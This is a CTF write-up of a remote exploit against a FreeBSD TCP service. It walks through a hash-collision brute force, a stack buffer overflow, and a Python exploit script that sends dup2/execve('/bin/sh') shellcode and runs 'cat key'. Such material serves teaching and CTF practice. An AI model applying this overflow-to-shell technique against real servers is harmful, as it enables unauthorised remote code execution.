This challenge was on remote exploiting. The binary is for FreeBSD.
Summary: bruteforce password, buffer overflow, jump to shellcode
The given program is a forking tcp server. When connection is established it drops privileges to “forgetu” user and forks handler function (0x08048BC0):
signed int __cdecl main(int fd_2) { size_t v1; // edx@1 void *v2; // ecx@1 signed int read_bytes; // eax@1 unsigned int hash; // eax@2 size_t v6; // edx@8 void *v7; // ecx@8 signed int read_bytes_; // eax@8 unsigned __int8 hash3; // ST18_1@9 size_t v10; // edx@9 void *v11; // ecx@9 char data[128]; // [sp+1Ch] [bp-8Ch]@1 int tmp; // [sp+9Ch] [bp-Ch]@2 SentDataToSocet(fd_2, "Enter your data: ", 0); read_bytes = RecvDataFromSocket(v2, v1, fd_2, (size_t)data, 0x7Fu, '\n'); if ( read_bytes <= 0 ) return -1; data[read_bytes] = 0; tmp = read_bytes; hash = make_hash((unsigned __int8 *)data); if ( hash == 0xB33007D3 ) { CheckJury(fd_2, 0); return 0; } if ( hash != 0xFC1BE02A ) { SentDataToSocet(fd_2, "Better luck next time\n", 0); return 0; } SentDataToSocet(fd_2, "Stage 2: ", 0); read_bytes_ = RecvDataFromSocket(v7, v6, fd_2, (size_t)data, 127, '\n'); if ( read_bytes_ <= 0 ) return -1; data[read_bytes_] = 0; tmp = read_bytes_; hash3 = make_hash((unsigned __int8 *)data); SentDataToSocet(fd_2, "Stage 3: ", 0); RecvDataFromSocket(v11, v10, fd_2, (size_t)data, hash3, '\n'); return 0; }
Ok, we see that it calculates hash function (make_hash) from input data and compare it with a hardcoded dword. There are two dwords. First is 0xB33007D3 and it is used to check service accessibility by jury. Second one (0xFC1BE02A) is needed to continue program executing.
So, the first challenge is to find collision in hash algorithm.
Hash function is:
.text:08048B90 ; int make_hash<eax>(unsigned __int8 *data<eax>)
.text:08048B90 make_hash proc near ; CODE XREF: main+59p
.text:08048B90 ; main+106p
.text:08048B90 push ebp
.text:08048B91 mov ebp, esp
.text:08048B93 push ebx
.text:08048B94 movzx edx, byte ptr [eax]
.text:08048B97 mov ebx, 1505h
.text:08048B9C test dl, dl
.text:08048B9E jz short loc_8048BB9
.text:08048BA0 mov ecx, eax
.text:08048BA2
.text:08048BA2 loc_8048BA2: ; CODE XREF: make_hash+27
.text:08048BA2 mov eax, ebx
.text:08048BA4 movzx edx, dl
.text:08048BA7 shl eax, 5
.text:08048BAA add eax, edx
.text:08048BAC movzx edx, byte ptr [ecx+1]
.text:08048BB0 add ecx, 1
.text:08048BB3 add ebx, eax
.text:08048BB5 test dl, dl
.text:08048BB7 jnz short loc_8048BA2
.text:08048BB9
.text:08048BB9 loc_8048BB9: ; CODE XREF: make_hash+E
.text:08048BB9 mov eax, ebx
.text:08048BBB pop ebx
.text:08048BBC pop ebp
.text:08048BBD retn
.text:08048BBD make_hash endp
Or in python:
def make_hash(data, debug=0):
hash = 0x1505
for c in data:
hash += (ord(c) + (hash << 5))
hash &= 0xffffffff
return hash
Easiest isn’t it xD
So, function which find collision is (thanks hellman for help!):
def collision(hash, l=6):
lst = []
for a in xrange(0x655):
h1 = hash + (a << 32)
lst.append((h1, ""))
i = 0
while True:
if not lst:
raise Exception("FAIL to find collision")
lst2 = []
for h1, s in lst:
if len(s) == l - 1:
br = range(8)
else:
br = [2]
for b in br:
c = (h1 % 33) + b * 33
if c == 0 or c > 0xff:
continue
h2 = (h1 - c) // 33
if h2 < 0x1505:
continue
test = chr(c) + s
lst2.append((h2, chr(c) + s))
if h2 == 0x1505 and
make_hash(test) == hash:
return test
lst = lst2
i += 1
return
Ok, it’s done, the needed string is b‘\x66\x57\x47\x52\x58\x57\x0A’
Next interesting place is last RecvDataFromSocket call.
Fifth parameter of this function is max input data size. And in last call it is equal hash from second receive string. RecvDataFromSocket copies data from socket to stack buffer which size is 128 bytes. We need find string with hash bigger than 128 bytes and it would be buffer overflow. Jackpot!
It’s easy to find that after RecvDataFromSocket function epilog will be executed:
.text:08048C4C exit: ; CODE XREF: main+14Aj
.text:08048C4C add esp, 0A0h
.text:08048C52 pop ebx
.text:08048C53 pop esi
.text:08048C54 pop ebp
.text:08048C55 retn
We can rewrite not only ret address but also these registry: ebx, esi, ebp
After we can ret to “call reg” instruction if there is shellcode address in registry.
Exploit look like:
if __name__ == "__main__":
payload = open('payload_new','r').read()
esi = b'\xc0\x8b\x04\x08'
ret = b'\xf4\xdb\x04\x08'
ebp = b'\xEB\xEB\xEB\xEB'
esi= b'\xbc\xeb\xbf\xbf'
buf = b'\x66\x57\x47\x52\x58\x57\x0A'+\
collision(0x94) + b'\x0A'+\
payload + b'\x90'*(0x88-0x24) + esi+ ebp + ret
+b'\x0a' + b' ' + b'\x0a' + b'cat key' + b'\x0a'
ip = sys.argv[1]
sock = create_connection((ip,3128))
#time.sleep(10) # time for attach to process by debugger
sock.send(buf)
print sock.recv(1024)
print sock.recv(1024)
The payload consist of two step:
- dup2 for stdin and stdout to socket
- execve(“/bin/sh”)
It is 0x24 bytes in my case =)
2 comments
Привет! Спасибо за writeup =)
Скажите пожалуйста, участникам был выдан бинарный файл, или код на C?
Author
Был выдан только бинарный файл. Тот “С” код, что представлен – причесаный и разобраный результат работы декомпилера (для того чтобы не загромождать write up асмовым кодом). Ссылка на бинарник есть в начале write up’а, можете сами поковырять и во всем разобраться.